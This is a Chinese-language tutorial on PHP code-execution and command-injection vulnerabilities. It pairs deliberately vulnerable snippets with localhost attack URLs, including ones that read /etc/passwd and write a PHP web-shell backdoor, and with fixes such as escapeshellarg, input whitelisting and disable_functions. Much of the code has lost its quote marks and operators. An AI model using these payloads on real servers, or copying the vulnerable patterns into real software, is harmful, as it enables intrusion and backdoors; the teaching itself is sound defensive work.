目录代码执行漏洞前置说明eval () 代码执行漏洞漏洞代码攻击 PayloadURL 传参原理修复方案assert () 代码执行漏洞漏洞代码攻击 Payload修复方案preg_replace /e 修饰符 代码执行PHP5 专属漏洞代码攻击 Payload修复方案create_function 动态函数代码执行PHP5漏洞代码攻击payload修复方案容易导致代码执行的 PHP 函数直接高危传入可控内容可直接执行 PHP 代码 / 系统命令回调可控间接风险回调参数由用户可控时可调用任意函数触发代码执行无代码 / 命令执行风险PHP 命令执行漏洞漏洞核心原理system () 漏洞漏洞代码攻击 URL Payloadexec () 漏洞漏洞代码攻击 URL Payloadshell_exec () / 反引号 漏洞漏洞代码攻击 URL Payloadpassthru () 漏洞pcntl_exec () 漏洞攻击 URL Payload安全修复方案escapeshellarg最优推荐输入白名单校验php.ini 全局禁用危险命令函数代码执行漏洞前置说明PHP 代码执行漏洞成因可控用户输入直接传入可执行代码的函数攻击者可拼接恶意 PHP 语法实现任意代码执行、读写文件、服务器提权等。危险函数eval()、assert()、旧版本preg_replace()/e修饰符、create_function()PHP5、call_user_func()等。preg_replace /e漏洞仅PHP 5.0 ~ PHP 5.5有效PHP5.6 移除/e修饰符create_function()在 PHP7 废弃PHP8 直接删除assert()在 PHP7.2 后默认关闭代码执行需手动开启assert.active1eval()全版本高危无版本限制eval () 代码执行漏洞漏洞代码?php // 获取GET参数 cmd用户可控输入 $cmd $_GET[cmd]; // 直接拼接执行存在代码执行漏洞 eval(\$ret $cmd;); echo 执行结果.$ret; ?攻击 PayloadURL 传参http://127.0.0.1/vuln_eval.php?cmdphpinfo(); http://127.0.0.1/vuln_eval.php?cmdsystem(whoami); http://127.0.0.1/vuln_eval.php?cmdfile_put_contents(shell.php,?php eval($_POST[cmd]);?);原理eval 内部会把字符串当做 PHP 代码解析传入分号闭合原有语法后可执行任意函数。修复方案1、禁止使用 eval 处理用户输入2、若必须动态运算使用安全的表达式白名单严格正则过滤特殊字符;(){}assert () 代码执行漏洞assert 原本用于断言判断传入字符串会当做代码执行PHP7.2 前默认开启漏洞代码?php $input $_GET[a]; assert($input); ?攻击 Payloadhttp://127.0.0.1/vuln_assert.php?aphpinfo(); http://127.0.0.1/vuln_assert.php?asystem(id);修复方案1、php.ini 设置assert.active0、assert.exception12、不传用户可控变量给 assertpreg_replace /e 修饰符 代码执行PHP5 专属漏洞代码?php $str $_GET[str]; // 带 /e 修饰符替换内容会被eval执行 preg_replace(/(\w)/e, $1, $str); ?执行逻辑正常情况下preg_replace是做字符串替换。但加上/e后流程变成了从$str中提取出每个单词例如hello。把$1即hello放入替换字段。由于/e的存在PHP会尝试执行hello这个代码。攻击 Payloadhttp://127.0.0.1/vuln_preg.php?str{phpinfo()} http://127.0.0.1/vuln_preg.php?str{system(ls -l)}修复方案1、废弃/e修饰符使用preg_replace_callback回调函数替代2、PHP5 升级 PHP7/8安全替代写法// 安全无执行风险 $res preg_replace_callback(/(\w)/, function($m){ return $m[1]; }, $str); //即使 $str phpinfo()它也只是 //匹配到单词 phpinfo //回调函数返回字符串 phpinfo //最终结果是字符串 phpinfo绝对不会执行 phpinfo() 函数create_function 动态函数代码执行PHP5create_function 通过拼接字符串创建匿名函数可控输入会注入恶意代码。漏洞代码?php $user $_GET[name]; // 可控输入拼接函数逻辑 $func create_function(, echo hello .$user.;); $func(); ?攻击payloadhttp://127.0.0.1/vuln_create.php?name;phpinfo();//注入后生成的函数代码变为function(){echo hello ;phpinfo();//;} //分号闭合原有语句注释掉剩余代码实现任意代码执行。执行过程create_function()会动态创建一个匿名函数函数体是字符串echo hello .$user.;$user变量会被直接拼接进函数体字符串中修复方案PHP7 不再推荐 create_function改用匿名函数function(){} / fn()禁止拼接用户输入。容易导致代码执行的PHP函数直接高危传入可控内容可直接执行 PHP 代码 / 系统命令assert ()传入字符串参数会当作 PHP 代码执行易代码注入pcntl_exec ()加载程序执行系统二进制可控参数会命令注入preg_replacePHP5 带 /e 修饰符时替换内容会 eval 执行 PHP 代码create_function ()拼接用户输入生成匿名函数可注入 PHP 代码shell_exec ()执行 shell 命令并返回输出可控参数造成命令执行exec ()调用外部 shell 执行系统命令存在命令注入风险system ()执行系统命令并直接打印输出极易命令注入include/include_once/require/require_once文件包含可控路径可包含恶意 PHP 文件执行代码回调可控间接风险回调参数由用户可控时可调用任意函数触发代码执行1、array_filter、array_map、array_reduce、array_diff_uassoc、array_diff_ukey、array_udiff、array_udiff_assoc、array_udiff_uassoc、array_intersect_assoc、array_intersect_uassoc、array_uintersect、array_uintersect_assoc、array_uintersect_uassoc、array_walk、array_walk_recursive、usort、uasort、uksort数组处理自定义回调用户能控制回调名即可调用危险函数执行代码2、register_shutdown_function、register_tick_function、set_error_handler、stream_filter_register、ob_start注册各类回调处理函数回调名称可控可劫持执行任意 PHP 函数3、xml_set_xxx 系列处理器函数设置 XML 解析回调回调可控可执行任意 PHP 代码无代码 / 命令执行风险escapeshellcmd ()仅转义 shell 特殊字符只做过滤本身不会执行命令PHP 命令执行漏洞漏洞核心原理用户可控外部输入GET/POST/COOKIE直接拼接进系统命令执行函数未做转义 / 过滤攻击者使用; | || %0a等命令分隔符追加任意系统命令实现命令注入。system () 漏洞漏洞代码?php // 接收用户传入的ip无任何安全处理 $target $_GET[ip]; // 可控变量直接拼接系统命令 system(ping .$target); ?攻击 URL Payloadhttp://127.0.0.1/vuln_system.php?ip127.0.0.1;whoami http://127.0.0.1/vuln_system.php?ip127.0.0.1|ls http://127.0.0.1/vuln_system.php?ip127.0.0.1cat /etc/passwd效果先执行 ping再执行whoami/ls/cat读取服务器敏感信息exec () 漏洞漏洞代码?php $target $_GET[ip]; $res []; exec(ping .$target, $res); print_r($res); ?攻击 URL Payload?vip127.0.0.1;pwd命令输出存入数组并打印可读取目录、敏感文件。shell_exec () / 反引号 漏洞二者功能完全一致通过 shell 执行命令并返回完整输出漏洞代码?php $target $_GET[ip]; $output shell_exec(ping .$target); echo $output; // 等价写法 $output ping $target; ?攻击 URL Payload?ip127.0.0.1;idpassthru () 漏洞直接原始输出命令数据流无缓存适合读取文件、反弹 shell?php $target $_GET[ip]; $handle popen(ping .$target, r); echo fgets($handle); pclose($handle); ?pcntl_exec () 漏洞直接调用二进制程序参数可控造成参数注入?php $param $_GET[p]; pcntl_exec(/bin/echo, [$param]); ?攻击 URL Payload?ptest;ls ?ip127.0.0.1;echo ?php eval($_POST[cmd]);? shell.php //高危拓展利用写入网站后门安全修复方案escapeshellarg最优推荐将用户输入整体封装为独立参数所有命令分隔符自动转义失效运行过程在字符串首尾添加单引号将字符串内的单引号替换为\结束单引号 → 转义单引号 → 开始新单引号?php $target $_GET[ip]; $safe_target escapeshellarg($target); system(ping .$safe_target); ?补充两个转义函数区别escapeshellarg ()转义单个参数阻断命令注入业务首选escapeshellcmd ()转义整条命令仅适合固定命令场景无法完全防御参数注入不建议单独使用。输入白名单校验严格限制输入格式如仅允许 IP 数字和点?php $target $_GET[ip]; if (!preg_match(/^\d{1,3}(\.\d{1,3}){3}$/, $target)) { exit(非法输入); } system(ping .$target); ?正则匹配部分含义说明^开始锚点从字符串开头匹配\d{1,3}1-3位数字匹配 0-999(\.\d{1,3}){3}分组重复3次匹配.数字重复3次$结束锚点匹配到字符串结尾php.ini 全局禁用危险命令函数disable_functions system,exec,shell_exec,passthru,popen,pcntl_exec